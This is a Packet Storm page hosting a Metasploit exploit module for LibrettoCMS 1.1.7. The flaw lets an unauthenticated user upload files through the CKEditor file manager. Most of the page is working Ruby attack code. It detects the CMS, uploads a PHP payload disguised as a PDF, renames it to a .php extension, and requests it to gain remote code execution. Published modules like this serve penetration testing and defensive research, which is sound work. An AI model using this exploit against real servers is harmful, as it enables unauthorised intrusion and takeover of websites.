exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

LibrettoCMS File Manager Arbitrary File Upload

LibrettoCMS File Manager Arbitrary File Upload
Posted Jun 22, 2013
Authored by CWH Underground, sinn3r | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and possibly prior. Attackers bypass the file extension check and abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.

tags | exploit, remote, arbitrary, php, code execution, file upload
advisories | OSVDB-94391
SHA-256 | 30ecd42376c5e4bb7dd7923719eb84398fa5da45f31326b369732ac687c9d496

LibrettoCMS File Manager Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info={})
super(update_info(info,
'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
possibly prior. Attackers bypass the file extension check and abuse the upload
feature in order to upload a malicious PHP file without authentication, which
results in arbitary remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'CWH',
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '94391'],
['EDB', '26213']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 14 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
], self.class)
end


def peer
"#{rhost}:#{rport}"
end


def check
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

if res.body =~ /Powered by <a href=".+">Libretto CMS/
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end


def upload(base)
p = get_write_exec_payload(:unlink_self=>true)
fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"

data = Rex::MIME::Message.new
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {'type'=>'all files'}
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
end

fname
end


def rename(base, original_fname)
new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_get' => { 'type' => 'all files' },
'vars_post' => {
'fun' => 'renameFile',
'dir' => '',
'filename' => original_fname,
'newFilename' => new_name
}
})

if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
elsif res.body !~ /"res":"OK"/
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
end

new_name
end


def exec(base, payload_fname)
res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
if res and res.code.to_i == 404
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end


def exploit
base = target_uri.path

print_status("#{peer} - Uploading malicious file...")
orig_fname = upload(base)

print_status("#{peer} - Renaming #{orig_fname}...")
new_fname = rename(base, orig_fname)

print_status("#{peer} - Executing #{new_fname}...")
exec(base, new_fname)
end
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close